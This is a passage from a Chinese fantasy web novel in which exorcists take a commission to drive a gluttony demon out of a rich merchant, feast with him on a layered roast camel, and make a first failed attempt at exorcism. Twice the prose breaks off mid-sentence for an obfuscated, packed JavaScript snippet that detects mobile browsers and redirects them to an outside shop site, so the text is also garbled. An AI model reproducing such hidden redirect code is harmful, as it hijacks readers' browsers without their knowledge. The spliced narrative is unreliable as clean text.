今晚出来烧纸,总算没白走一趟,他随手把引魂灯收进了腰包里。段星河长舒了一口气,道:“回去睡觉吧。” 钦天监的人亲自出马,除掉了张家老宅里的厉鬼,这事很快就传开了。城里的百姓一直很怕那边,平日里都不敢靠近,如今终于去了一桩心事。李玉真走在街上,见一群小孩儿在路边玩鬼抓人,有的骑着竹马,有的手里拿着小风车,大呼小叫道:“锤头剪子布——你输了,你扮女鬼!” 一个小孩儿把兜帽拉到头上,扮出一副吓人的模样,道:“嘁,让你们先跑十丈。” 其他小孩儿呼啦一下子散开了,一边喊道:“我们是钦天监的,代表正义消灭你——” 扮鬼的小孩儿喊道:“少说大话,我来抓你们了!” 宋胡缨从路边的干果铺子里出来,看着一群小孩儿骑着竹马跑远了。她有点莫名其妙,道:“钦天监这么出名了吗?” 李玉真在门口等着她,道:“就这两天的事,坊间消息一直都传的挺快的吧。” 两人沿着树荫往回走,宋胡缨穿着一身水红色的裙子,乌黑的长头发像瀑布一样。风把她的发丝吹到李玉真身边,带来一点栀子花的香气。他深吸了一口气,觉得女孩子香香甜甜的,只是跟她走在一起,心情都变得温柔起来。 宋胡缨看了他一眼,道:“怎么了?” “没什么,”李玉真收敛了心神,“买到杏脯了吗?” 宋胡缨想吃杏脯,转了好几个店都没买到。她拿了一大包无花果干,道:“没有,只剩下这个了。” 李玉真觉得有点奇怪,道:“怎么会都没有的?” 宋胡缨道:“伙计说都被城东钱家买光了,他家老爷爱吃这个,说酸的解腻消食。” 李玉真道:“爱吃也吃不了这么多吧,成麻袋往家里拉?” “不管了,”宋胡缨道,“无花果也挺好吃的,来点么?” 李玉真伸出了手,宋胡缨往他手里倒了一把果干。无花果干很有嚼劲,甜甜的很好吃。两人回了驿馆,宋胡缨到处找了一圈,喊道:“小对眼——” 她来到后院厢房,见它跟墨墨趴在一张垫子上睡着了。赵大海经常会捡一些松塔、洗干净的大骨头之类的东西给它们玩,两个崽子常待在他屋里。当然这样也有缺点,毕竟伏顺不爱洗脚,他的屋里总是弥漫着一股难以言喻的味道。 今天开着窗户,屋里的空气还算清新。段星河闲来无事,正在这边跟那两个人打叶子牌。宋胡缨拿出了无花果干,道:“吃吗?” 每个人抓了一把,宋胡缨搬了个圆凳坐在一旁看他们玩牌。李玉真道:“你也想玩吗?” 宋胡缨道:“我不会。” 李玉真跃跃欲试道:“简单的很,我教你。” 宋胡缨淡淡道:“让他们先打吧,我看看再说。” 巴蜀人都爱打叶子牌、麻将,抽着旱烟往凉棚下一坐,没事能打一天。李玉真看了一阵子,道:“段兄,你不练功了?” 段星河嘴里叼着一根牛肉干,心不在焉道:“最近瓶颈期,硬练没用。” 李玉真道:“阿云呢?” 段星河道:“他最近好像挺顺利的,一直在修炼,别打扰他了。” 他说着一巴掌拍在床上,道:“干什么,偷牌啊?” 伏顺嘿嘿笑着,把手缩了回去,道:“没有,我就是……看这两张牌黏在一起,想帮忙分开。” 段星河道:“别耍赖,盯着你呢。” 伏顺搔了搔头,他脑袋上裹着一层绷带,看起来已经没什么问题了。小对眼睡醒了,过来跳到了宋胡缨的腿上,亲昵地蹭了蹭。她喂给小对眼一颗无花果,道:“你头还疼吗?” 伏顺道:“皮外伤,没什么大事。” 他说着叹了口气,道:“费这么大劲儿也没挣多少钱,张家抠的嘞,就给一百五十两银子。这钱请个大天师来驱鬼,人家连看都不看他一眼。” 赵大海道:“那也不是咱们驱的鬼,不是黑白无常抓走的么?” 伏顺不甘心道:“那我也受伤了啊。” 赵大海道:“男子汉大丈夫,受一点伤别整天当回事,咬咬牙就过去了嘛。” 伏顺想起这大傻子也被崩了屁股,裤子都裂了。他道:“你没事吧,上厕所还顺畅吗。别不好意思,给我看看。” 赵大海下意识捂住了屁股,道:“不耽误出恭,你别揪我裤子,有大姑娘在这儿呢!” 宋胡缨把头转了过去,段星河有点好笑,道:“还打不打牌了?” 伏顺把牌一扔,道:“不打了,我帮他检查一下身体。” 赵大海发挥体格优势一把将他扒拉开,扯开旁边的被子把伏顺裹住了,摔跤似的把他按在下面,道:“反了你了,服不服?” 他像座小山似的,伏顺被压得动弹不得,连忙道:“啊啊啊服、服了,放手!” 墨墨被吵醒了,困惑地看着他们,片刻翻了个身又继续睡。小对眼叼了个无花果干跳下地,来到墨墨跟前,轻轻地把果干放在了它面前。 墨墨睁开黑豆眼,小对眼把果干往它跟前推了一下,示意它吃。 宋胡缨注意到了,惊讶道:“它不护食了?” 墨墨把无花果干吃了,越嚼越甜,还从来没吃过这么好的东西。李玉真露出了欣慰的笑容,道:“不错,最近有进步。” 伏顺从被窝里爬出来,道:“这算什么呀,昨天我还看见小对眼打了个蟑螂送给瓜皮了呢。” 段星河愕然地看着他,道:“那它吃了没有?” “不知道,”伏顺道,“我觉得恶心,过去踢开了。小对眼还哈我,又去捡回来了。” 段星河道:“然后呢?” 伏顺道:“然后我就走了,应该……可能……大概……吃了吧?” 段星河感觉有点窒息,难怪他儿子今天一直在睡觉,说不定就是吃蟑螂吃的。他道:“别跟阿云说。” 伏顺道:“那可不,二师兄有洁癖的。” 李玉真觉得有必要教育孩子一下,蹲在小对眼面前,道:“你懂得分享,很好。但是吃蟑螂不行,懂?” 小对眼一只眼看天,一只眼看地,应该是没明白。段星河拿了个茶杯过去,伸手沾了点水,在地上画了只硕大的蟑螂,两根须须又弯又长。小对眼顿时兴奋起来,爪子不住刨地,想要摁住它。 段星河在蟑螂上打了个叉,严肃道:“你们俩谁也不准吃蟑螂,也不准玩蟑螂,明白吗?” 墨墨明白了,咕叽叫了一声。段星河仿佛看见小对眼的脑袋上缓缓冒出一个问号,知道它还是没懂。宋胡缨走了过来,抬起穿着绣花鞋的脚,无情地在地上抹了几下,蟑螂不见了。 宋胡缨道:“不准靠近蟑螂,明白么?” 小对眼沮丧地嗷了一声,这回应该是懂了。李玉真摸了摸它的脑袋,道:“听话,别什么都吃,节制一点。” 他们说着话,忽听有人敲门,是驿丞来了。段星河起身道:“怎么了?” 驿丞道:“外头有人找段兄和李公子,是凌烟阁的人。” 任务的钱都结完了,不知道他们来干什么。李玉真道:“去看看吧。” 两人来到前头花厅,就见一个凌烟阁的人穿着一身白衣裳,衣袖上绣着几片青竹叶,正坐着喝茶。他手边放着一柄白折扇,生的细眉长目颇为文雅。见两人来了,他起身道:“段公子、李公子,你们来了。” 这人叫刘靖,是这边分舵的堂主。李玉真之前去查拍卖会的记录时就见过他,这人帮了他们很大忙。李玉真上前道:“刘兄,你来有事么?” 刘靖面带笑容,开门见山道:“好事,我手头有个大活儿,主顾指名让你们接,我来问问你们的意思。” 之前李玉真就说过有好活儿给他们留着,没想到还真等到了。段星河就想多挣点钱带回家,道:“什么任务,还点名让我们接?” 刘靖道:“你们帮张家驱鬼的事在城里传开了,大家都说你们的本事高强,比不少江湖术士强多了。城东钱家最近遇见点麻烦事,想请你们去驱驱邪,就是评估的风险有点高。” 凌烟阁发任务的时候会有风险评估,难度从一星到五星不等。段星河道:“有多高?” 刘靖道:“四星。” 之前抓三尾狐的难度也就是三星,还是师父亲自出马才拿下的,看来这次这个任务不好做。他道:“怎么这么危险?” 刘靖有点为难,道:“对方要求保密,去了再跟你们细说。反正不是小打小闹的事,之前他们也找了好几个道士,都降不住。不过雇主是万通商会的会长,出得起钱。事成之后,给一千两银子的报酬,还额外给一百两银子的封口费。” 段星河和李玉真的眼睛顿时都睁大了,他们来这里这么久也才攒了一千多两银子,这一下子就给一千两,顶得上他们忙活大半年的了。 段星河扭头道:“怎么样?” 这么好的机会错过了实在可惜,李玉真心动了,道:“富贵险中求,要不就试试吧?” 段星河也有此意,反正他现在已经到了金丹期,身边的兄弟们也比之前强多了。他痛快道:“好,那就接了。” 刘靖从怀里掏出任务单,递给了段星河。他接过来,见上头写着:家父身患怪疾,请能人驱邪,事成酬谢一千两白银,保密费一百两。下头是万通商会和凌烟阁的签章。 两人送了刘靖出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575363|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,李玉真跃跃欲试道:“什么时候去瞧瞧?” 段星河看了一眼天色,刚过了中午。他道:“叫上其他人,咱们等会儿就去吧。” 万通商会的总舵位于悦丰城东,占地广大,房屋鳞次栉比,建造得十分华丽。万通商会是各商号的联合组织,分舵遍布于大陆各地,方便商人们扩充人脉、交流消息,合作经营生意。 万通商会的会长钱百富,对于有志从商的年轻人来说,是一个让人羡慕的传奇。 他父母都是小手艺人,家里有四个兄弟,早年过的相当拮据。父母把他送到绸缎庄给人做学徒,老板见他机灵,教给了他识字算账的本事,后来又把女儿嫁给了他。钱百富的经商能力得以展露,一路把生意做大做强,收购了当地不少产业,继而又涉及了茶叶、粮食、古董等方面,把生意做到了大幽外的其他国家,建立了万通商会,成了这片大陆上经商的龙头。 钱百富年逾五旬,精力渐渐消退,前几年就着手把生意传给儿子了。他的长子钱正宇继承了父亲的经商天赋,把生意经营的不错,很让人放心。二女儿去年已经嫁了人,小夫妻相敬如宾,过得很和睦。家里还有个小儿子,书读的很好,将来打算走仕途。 钱百富本来想安静地养一养老,没想到近半年来却遇上了一桩操心事,整个宅子也因此不得安宁。 众人来到大门前,段星河翻身下了马。侍卫上前道:“请问几位是?” 段星河出示了腰牌,对方看了,立刻道:“原来是钦天监的大人来了,快请进,我这就去请少主。” 别人家门前都立着两个石狮子镇宅,万通商会的大门前却立着两头汉白玉雕成的大象。大象的背上雕刻着两块石毯,上头镶嵌着五光十色的琉璃和玛瑙,就像瑞兽驮着宝藏满载而归,显得既强大又富饶。伏顺站在大门前,感到一股奢华的气势扑面而来,叹道:“不愧是有钱人,就是跟一般人不一样。” 墨墨翘起了鼻子,跟门前的大象比了比长短,感觉自己输了。李玉真摸了摸它脑袋,逗它道:“好好吃饭,以后你也能长这么大个。” 墨墨显然知道自己的鼻子长不了这么长,摇了摇头。段星河道:“孩子是小,又不是傻,你老骗它干什么。” 李玉真笑呵呵地道:“养孩子不就是骗着玩的么。” 段星河道:“你自己没孩子啊,骗你自己的去。” 小对眼窝在宋胡缨的怀里,正在打瞌睡。李玉真偷偷看了宋胡缨一眼,发现她对他们的话没什么反应,四舍五入就算认可自己跟她共享一个儿子了。李玉真忽然高兴起来,觉得小对眼虽然傻乎乎的,但能给它当便宜爹也是自己莫大的福气。 万通商会的庭院里花木扶疏,屋舍建造的华丽而又大气。众人进了大厅,侍女送来了茶水和点心。没等多久,一名三十出头的男子快步走了进来。他穿着一身青色的锦袍,模样周正,正是钱家的长子。 他走进大厅,众人站了起来。那人拱手行礼道:“在下钱正宇,是万通商会的副会长,也是钱家的少主。想必各位是接了凌烟阁的任务来的吧?” 段星河道:“正是,在下段星河,是钦天监的人,这些是我的师弟。凌烟阁的刘堂主说你们遇到了点麻烦,让我们来看看能不能帮上忙。” 他说的很客气,但钱家人都知道这不是个小麻烦,而是要人命的灾祸。 钱正宇的神色忧愁,道:“多谢各位前来,实不相瞒,家父最近得了一场怪病,找了不少郎中来看也治不好。有人说是中了邪,我请了几个道士来看,他们也都处理不了。” 他叹了口气,显得十分忧虑。段星河道:“老爷在什么地方,我们能看看他么?” 钱正宇显得有点难以启齿,往周围看了一眼,大厅里斟茶的侍女会意出去了,侍卫在门外站岗。他们常日在府里,对老爷的事都有所耳闻,但上头不让说,他们便也装作不知情。 钱正宇道:“我爹在后宅,自从得了病就很少在人前露面了。他这个人好面子,不管能不能治好,劳烦你们一定保密,别把他的病情说出去。” 钱百富虽然已经半隐退了,但他毕竟是万通商会的基石。这样的一个人举手投足都会对外界产生巨大的影响。他生了怪病,自然是不能让外人知道的。 段星河等人都做好了把秘密烂在肚子里的准备,不管看到了什么奇怪的情形,都不会泄露半个字。他道:“钱公子放心,我们不会往外说的。” 钱正宇道:“好,几位请跟我来吧。” 他带着众人穿过几进庭院,来到了宅子深处的一个侧院里。院子外面有两个侍卫守着,钱正宇道:“我爹怎么样了?” 一名侍卫勉强道:“老爷他……很好,今天没发脾气,安静得很。” 他的神色有些慌张,仿佛在害怕什么。钱正宇已经习惯了他们的这种反应,沉默地走进了院子。小院里种着些马尾松,正前方有一个小水塘,里头养着些五颜六色的锦鲤。北边是一座朱红色的二层小楼,屋顶铺着碧色的琉璃瓦,从外面看十分华丽。然而没走几步,众人就闻见一股奇怪的气味飘了过来。 段星河耸了耸鼻子,感觉是一股馊了的食物的味道,好像陈年老豆汁混合着捣碎的臭豆腐、烂菜叶和腐肉的气息。 钱正宇来到屋门前,轻轻敲了几下,恭敬道:“爹,儿子来看您了。” 屋里没有反应,却隐约传来了咯吱咯吱的声音。钱正宇推开了屋门,就见里头黑漆漆的,一个肉山一般肥硕的男人侧对着门口坐着,地上堆满了吃完的骨头、歪倒的酒坛子和啃了半截的西瓜皮。 这屋里比伏顺的住处还要邋遢,刚才他们闻到的怪味,就是这些食物的渣滓散发出来的。 众人没想到会看到这样一幕,出于礼貌忍耐着,尽量不让自己露出不适的表情。钱百富面前的桌子上,放着一大堆食物,有红烧肉、炖羊肉、烧鸡、全鱼,鲜红的石榴、碧绿的蜜瓜、成罐的牛奶和美酒。食物的香气和浓烈的腐臭味融合在一起,形成了一股让人受不了的味道。钱百富却好像一点也闻不到似的,左手抓着一大串紫葡萄,右手拿着一扇烤羊排,正在埋头大吃大嚼。 一只绿头苍蝇围着他嗡嗡地打转,钱百富不耐烦起来,一巴掌拍过去,嗡嗡声消失了。他嗦了嗦手指头,把汤汁、菜叶,连带着刚才被拍死的苍蝇一起吸了进去。钱正宇站在门口,神色十分不忍,却又没有任何办法,一副心力交瘁的模样。 他小声道:“爹,来客人了。” 钱百富总算听见了,缓缓转过头来。他肥胖的肚子一层层叠在一起,胳膊和腿胖的都快跟肚子连在一起了。他抬起眼,盯着门口的一众年轻人咧开了大嘴,黑褐色的酱汁从嘴角淌了下来。 众人仿佛被一个疯狂吞噬的深渊盯上了,顿时有种汗毛倒竖的感觉。小对眼更是嗖地一下子把脑袋缩进了宋胡缨的兜帽里,生怕被他一口吃了。 钱百富丝毫没有觉察到他们的畏惧。他肥硕的脸上冒着油光,一双小眼睛亮了起来,兴奋道:“来客人了,好、太好了!好好招待他们,快摆宴,我要请他们吃饭!” 37.暴食 二 钱百富嘴里的肉还没咽下去,一听说有机会大摆宴席,又兴奋起来。 钱家不缺钱,多少饭都是吃得起的,但他这个样子实在很不正常,不但身体受不了,而且让人看了就害怕。 钱百富看儿子站着不动,道:“怎么了,我使唤不动你们?” 他把脸一沉,透出一身的威严来。钱正宇只得道:“好、好,父亲稍等片刻,我这就让人准备,您想吃什么?” 钱百富舔了舔嘴唇,期待道:“来的客人多,就做烤骆驼吧。” 钱正宇应道:“是。” 一群人出了小院,钱正宇吩咐人去做饭,眉头一直皱着,看得出来十分忧虑。若是自己的父亲变成这个样子,谁心里也不好受。钱正宇道:“如你们所见,我爹得了这种贪吃的怪病。他以前不这样的,吃饭就吃八分饱,晚上只喝一碗粥,没事就打打太极拳,很注重养生。可最近半年不知道怎么回事,他忽然胡吃海塞起来,一顿饭吃五六只烧鹅都不够,经常半夜嚷着饿,还要起来加餐,大家劝都劝不住。” 他心头一酸,眼睛都红了,道:“他几个月就胖了二百斤,郎中说这样对身体不好,他就大发脾气,抄起长凳把人赶了出去。可他都快六十岁了,这么个吃法五脏六腑都受不住。家里不疼那点饭钱,但是担心他的身体。可他什么也听不进去,以前他是很讲道理的,现在不知道怎么回事,就像变了个人似的。” 段星河道:“他吃多了不觉得撑么?” 钱正宇道:“撑啊,他经常撑得吐了,但吐完了还要接着吃。有时候他自己也后悔,还哭着说要控制自己,但连半天都没过,他就又开始狂吃了。” 众人想象那个情景,都觉得十分可怜,又有些可怕。钱老爷子不光看食物一副贪婪的样子,就连看人的时候眼里都冒绿光,仿佛要把人吃了似的。 钱正宇道:“一会儿你们一起吃饭,正好看看他的情况。我会想办法劝劝他,让他配合治疗。几位也请多担待着些,他现在的脾气就像小孩儿一样。” 段星河道:“我知道了。” 钱正宇给他们安排了厢房,众人休息了片刻。到了晚上,有人来请他们去吃饭。伏顺惦记着烤骆驼的事,兴奋得直搓手,道:“烤骆驼好吃吗?” 赵大海一向爱惜牲口,不高兴道:“留着驮行李多好,非要烤来吃,又不欠那一口。” 李玉真道:“中原很少见到骆驼的。他家老爷子这么爱吃,可能养了骆驼专门用来吃的吧?” 宋胡缨小时候跟父亲驻扎在边境,经常两眼一睁就是黄沙和骆驼队。她淡淡道:“我跟我爹吃过。” 伏顺顿时兴奋起来,道:“怎么样?” 宋胡缨道:“还行,就是一层一层的。” 她说话一向言简意赅,众人不明白这话什么意思,到了花厅,就见屋里灯火通明。长长的饭桌上,放着一个银色的大长盘子,盘子里铺着几层菜叶,菜叶上摆着一头小山似的骆驼,四条腿跪着,低着头朝向上首的钱百富。 骆驼烤的焦香四溢,上面洒满了翠绿的葱花、孜然,仆人把大碗的酱料刷在烤骆驼上,浓烈的香气让人忍不住咽口水。钱百富换了一身干净的衣裳,显得也比初见时精神了几分。 他站起来,亲自拿银刀把骆驼切开了,白色的热气顿时涌了出来,里头露出了一头烤全羊,众人十分惊讶。老爷子又切开了烤羊,露出了一只烤的油汪汪的大鹅。再往下切去,渐次露出了一只烤鸡和一条烤鱼。 众人总算明白了宋胡缨说的“一层层的”是什么意思。钱百富把鱼肚子剖开,从里头取出了一个鸡蛋,用刀尖插给段星河,热情道:“钦天监的朋友,欢迎你们!” 这个蛋吸收了几层烤肉的味道,滋味浓郁,是这道菜中最珍贵的部分。段星河连忙站起来,道:“多谢钱老先生。” 钱百富咧嘴笑道:“不用客气,十年前陛下召见过我,说我经商有道,让我好好把生意做下去,惠及更多百姓。你们是为陛下做事的,便是我的贵客。” 他说起当年的事还十分骄傲。大家都知道他做生意讲良心,要不然也发展不了这么大规模。段星河把那个蛋切了一半,分给了步云邪,道:“你尝尝。” 步云邪微微一笑,不在乎这些。他虽然官位最大,但出门不爱穿官服,也没报腕儿,就连钱百富这样的老江湖都看走了眼。步云邪身上有股贵气,像月亮一样柔和。段星河带的则是一股领袖气质,往人群里一站就有股强烈的凝聚力,就像一个稳定放出光芒的太阳,让人忍不住要注意他。 钱百富分完了蛋,咽了一下口水。他已经忍耐多时了,挥了一下肥胖的手,道:“大家别见外,开吃吧!” 他说着一把撕下了一大扇骆驼肉,狼吞虎咽起来。白色的肋骨露了出来,驼峰里淡黄的脂肪被烤化了,像雪山一样堆在烤肉上。众人撕下了面前的烤肉,就着馕和菜叶吃了下去,侍女过来给他们倒上了美酒,把一盘盘水果捧了上来。伏顺吃的满嘴是油,眼睛都放出了光,道:“我的天,真好吃啊!” 钱正宇道:“我爹以前去西北做生意,那边都是大沙漠,风沙很大。他和手下的人差点死在那边,后来找到了绿洲,当地人请他们吃了一顿烤骆驼。我爹一直都忘不了那个味道,每次招待贵客都要烤骆驼。” 众人吃着东西,纷纷点头,左耳朵听右耳朵冒。这道烤骆驼在沙漠里都要一百个人才能吃完,他们十个人吃这一顿绰绰有余。伏顺拿胳膊肘碰了赵大海一下,小声道:“你不是不吃骆驼吗?” 赵大海的腮帮子都塞满了,道:“谁说我不吃了,再加点辣椒。” 他捏了一撮辣椒面洒在面前的烤肉上,连骆驼肉带羊肉一起卷饼吃了。小对眼闻见香味了,一个劲儿地扒拉人的裤腿。李玉真撕了一块烧鹅,悄悄扔在了桌子底下。 段星河也撕了一块骆驼肉,抖去了上面的辣椒,递给了蹲在桌子下面的墨墨。两个崽子狼吞虎咽的,吃的十分欢快。 一会儿功夫吃得差不多了,众人瘫在椅子上,有种筋疲力尽的感觉,又觉得心满意足。钱百富仍然没有停下来,他左右开弓,接二连三地把烤肉撕下来,把剩下的大半头骆驼渐渐吃下了肚。 众人看着他,神色渐渐变得震惊起来。他抖动着肥硕的腮帮子,沙沙沙沙沙,以极快的速度吃下了烤肉、脂肪,又提起鱼头狠狠嘬了一遍,把鱼眼睛也吸进去吃了。 钱正宇已经习惯了,看着父亲大吃大嚼恨不能把盘子也吞下去的模样,显得有些难过。 伏顺吃多了肉有点腻,见桌上还有个桃子,伸手要拿。就见钱百富伸过手来,狠狠地瞪了他一眼,就像一头护食的野兽。伏顺吓了一跳,连忙把手缩了回去,道:“您吃。” 钱百富把桃子抢了过去,两三下啃光了,把核扔在地上。他在衣服上擦了擦手,又继续吃剩下的一条骆驼腿。一般人吃到这个程度,早就受不了了。段星河看着他的肚子,感觉有点窒息,就算再大的胃也得有个限度,他是怎么盛得下的? 钱正宇终于忍不住了,道:“爹,差不多了,明天再吃吧。” 钱百富听不得这话,怒视他道:“你心疼这点饭啊?” 钱正宇道:“不是……爹,你这么个吃法,对身体不好。” 钱百富气恼道:“我就是吃的多了一点,咱们这个家业吃不起吗?我辛苦了一辈子,吃两碗饭你就心疼了,不孝子,不孝!” 他一边说,一边还往嘴里塞肉,根本停不下来。钱正宇心里十分难过,父亲以前也很好,自从生了病就变得十分情绪化。他道:“爹,这些朋友就是我请来给你治病的,你让他们看看吧。” 钱百富的脸一沉,道:“我哪里有病,我没病。之前你找了那么多道士,除了烦人之外还有什么用?” 钱正宇好声好气地劝道:“爹,钦天监的大人跟以前那些野路子的不一样,他们很厉害的。你就信他们一次,好不好?” 钱百富沉默了片刻,没有回答儿子,低头继续吃了起来。屋里回荡着他咀嚼的声音,咯吱咯吱咯吱,他沾满油花的嘴蠕动着,就像有个无底洞。钱正宇看不下去了,拉住他道:“别吃了爹,身体要受不了了。” 钱百富一把甩开了他,道:“胡说,你少胡说八道,我还能吃!” 他又吃了几口,表情却显得越来越痛苦。他打了个几嗝,肥硕的身体颤动了几下,忽然弯下腰,哇地一声吐了出来。胃酸和酒臭混合着食物的气味散发出来,臭不可闻。众人的脸色都微微一变,侍女连忙过来打开了窗户,过来给老爷子漱口、擦嘴,打扫地上的秽物。 这些人的反应如此迅速,看来这种事已经发生过很多次了。 侍女们把地上收拾干净了,钱百富坐了片刻,伸手又想去拿肉。钱正宇大声道:“爹——!” 钱百富也意识到了自己不自觉地又要吃,左手用力打了右手几下,打的手都红了。步云邪道:“钱老先生,别这样——” 钱百富忽然抱住了头,呜呜咽咽地哭了。他缩成一团,身体越发像一座肉山。他一抽泣,浑身的肉就跟着哆嗦。 众人不敢说话,看到了这样的情形,他们也很尴尬。钱百富哑声道:“我也不想这样的,可我老是饿,我好饿啊,怎么办……我没救了。” 钱正宇抱住了父亲,道:“爹,你别怕,我们一定能救你的。” 钱百富摇着头,懊恼道:“你别靠近我了,我会伤害到你的。” 钱正宇的神色认真,道:“我不怕,无论如何我都要救你。” 他们父子感情这么深,让人十分动容。钱正宇抱着父亲,就像小时候他抱着自己一样。他轻轻地拍了拍父亲的背,安慰道:“没事了,你休息一下,等会儿让钦天监的朋友给你号一号脉。” 钱百富虽然半生叱咤商海,如今年纪毕竟大了,此时就像个无助的小孩儿一样,点了点头,都听儿子安排。 这边就算收拾干净了也残余着一些气味,桌子上也杯盘狼藉的。钱正宇道:“这里太乱了,咱们去后面静室吧。” 众人洗了手,钱百富也换了一身干净衣裳,去了后面一间静室里躺着。 步云邪给钱百富号了脉,道:“这样多久了?” 钱正宇道:“半年了,原来我爹饮食都很正常的。” 步云邪道:“在那之前遇到过奇怪的事吗?” 钱正宇想了想,道:“没有。” 他的目光有些闪烁,好像藏着什么事。步云邪闭目观想了片刻,感觉有一团黑乎乎的东西躲在钱老爷子体内,无数条黑色的须子从他嘴里探出来,不住蠕动。他道:“钱老先生身上似乎有什么东西缠着,我试试能不能把它逼出来。” 钱正宇道:“弄出来就没事了么?” 步云邪点了点头,道:“令尊本身没什么大病,就是那个作祟的家伙贪婪好吃。大约它看你家家境不错,供的起它这么个吃法,所以才赖着不走。” 钱正宇道:“是饕餮?” 步云邪道:“不是那么好的东西,这个邪气很重,长得也有点一言难尽。” 钱正宇的神色一凛,道:“请几位大人快把那个妖物赶走,若是救得了我爹,你们就是我钱家的大恩人!” 步云邪跟李玉真对视了一眼,道:“我来?” 李玉真道:“好,我给你护法。” 步云邪让其他人都退了出去,叫钱百富盘膝而坐。他手中凝起一道金色的灵光,凌空书写了一道驱邪符,朝钱百富拍了过去。 符文还没靠近钱百富,窗户忽然被一阵大风吹开了,到处都噼里啪啦一阵乱响。花瓶、茶杯落在地上摔得粉碎。就见钱百富周身生起一道黑雾,他自己还十分茫然,不明白发生了什么。 那股狂风凭空而来,把众人吹得东倒西歪。这样的情形之前也发生过几次,每回有道士来驱邪,都会被这昏天黑地的阵仗吓跑。段星河感到这妖物的力量不小,低声道:“别太勉强。” 步云邪把心一横,非要试试对方到底有多厉害。他又写了一道太上镇妖符,金光奔雷一般冲过去,重重击中了钱百富的心口。钱百富疼的大叫一声,倒在地上不住翻滚,一边道:“好疼啊——我要死了,我要死了——” 步云邪看情况不妙,把手一挥,金光顿时消散了。 钱正宇吓了一跳,连忙冲了进来。钱百富喘着气,出了一头虚汗。他道:“怎么了,爹?” 钱百富浑身的肥肉都在哆嗦,道:“我身上好像有火在烧,有刀在割,疼、疼死我了!” 步云邪一时间没说话,符咒只会作用于妖物,对人没有损害。但钱老爷子却跟那妖怪感同身受,看来那妖物挟持了他的元神,把自己受到的痛苦也分给了钱百富。 对方的意思很明确,就是要让他们投鼠忌器。敢让它不舒服,它就拉着宿主一起受罪。 钱百富身上透出了一股浓烈的妖气,看来对方确实不是个小角色。段星河凝神看了片刻,感觉是黑乎乎的一大团肉,一部分住在他的体内,一部分从嘴里冒出来,紧紧地扒在钱百富身上,看不出来鼻子眼睛在什么地方。他皱眉道:“连脸都不敢露,还挺嚣张。” 钱百富感觉像被烙铁烫伤了一样,拉开衣襟一看,肚皮上果然有一道淡淡的红痕,是被符咒烧伤的。钱正宇道:“几位大人,这是怎么回事?” 步云邪沉吟道:“妖物劫持了他的元神,躲在他身体里不出来。用符咒会伤到钱老先生的身体,不能直接动手。” 钱正宇十分不安,道:“那怎么办?” 步云邪只说了一声:“慢慢来,不着急。” 他不想让妖物听见自己的打算,走到屋外站着。钱正宇亦步亦趋地跟上去,诚恳道:“请大人赐教。” 步云邪低声道:“那妖怪贪吃,最近让老先生少吃一点,像正常人一样每天三顿饭,青菜稀粥,饿一饿那妖物。” 钱正宇道:“然后呢?” 步云邪道:“我这几天炼一颗罗汉护元丹,服了之后能保护老爷子身体不受损伤,到时候再用道法把它逼出来就是了。” 钱正宇见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579968|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色淡定,显然是胸有成竹。他道:“好,钦天监的大人道法高强,我都听你们的。” 当天晚上,钱正宇把他爹又送回了那间小院里,多加了些人手在外面看着。 彼时修仙的风气正盛,钱正宇请过一些方士炼丹,家里就有丹房。但毕竟自家没人懂这个,游方的道人一走,屋子就空下来了,还积了不少灰。 步云邪要借丹房用几天,钱正宇一口答应了,说要什么药材尽管说,他一定全力配合。 段星河跟伏顺他们住在厢房,宋胡缨带着两个崽子住在隔壁。 次日一早,段星河醒了过来。他昨天晚上吃多了,到现在还不饿。但钱百富一个人就吃了大半头骆驼,实在让人震惊。要是这样放任下去,他早晚会把自己活活撑死。 段星河从行囊里掏出了神州风物志,找到了妖物一节,哗哗地翻着书,自语道:“这是个什么东西……” 李玉真打了个呵欠,从隔壁过来道:“兄弟们,等会儿吃什么?” 伏顺揉着眼从对面的床上爬起来,感觉有点积食,道:“还吃啊,打个嗝全是油花子。” 李玉真道:“那就吃清淡一点嘛,小米粥怎么样?” 赵大海还没睡够,翻了个身道:“我不吃了,我再躺会儿。” 段星河找了片刻,目光停在一页上,纸上画着个肉山似的怪物,眼睛鼻子缩在一层层的肉褶子里,一张嘴极其巨大,上头写着两个字,暴食。 李玉真凑过来看了一眼,见上头写着上古大妖之一,虺神的随从。此妖由世间的贪食恶欲生成,极度贪吃,性情暴虐,十分危险。 段星河眉心一跳,没想到这就遇上硬茬儿了。萨满说这世间散落着不少大妖,它们散布恐慌与邪恶,用邪气滋养着虺神,妄图侵占这个世界。他们想要登阶,就不能放任这些大妖作祟。 李玉真道:“附在他身上的是暴食?跟之前在草原上见过的那个人面狼身的傲慢是一个级别的么?” 段星河道:“应该是吧。” 李玉真想起了被那怪物支配的恐惧,大家打完了那一架躺了一天一夜都动弹不得,要不是它刚苏醒还没恢复力量,自己这些人都得凉。他打了个寒战道:“那很难对付吧?” 段星河没说话,既然是上古大妖,肯定不好惹。李玉真想起了凌烟阁给评了个危险程度四星,觉得还是保守了。段星河合上了书,道:“我已经到金丹期了,阿云和你的修为也不差,咱们三个联手,应该能把它逼出来。” 李玉真道:“逼出来之后呢?” 段星河轻描淡写地说:“想办法封印住它,让它别再害人了。” 李玉真满脑袋都是冷汗,道:“不是……你就没想过,咱们有可能打不过它?” 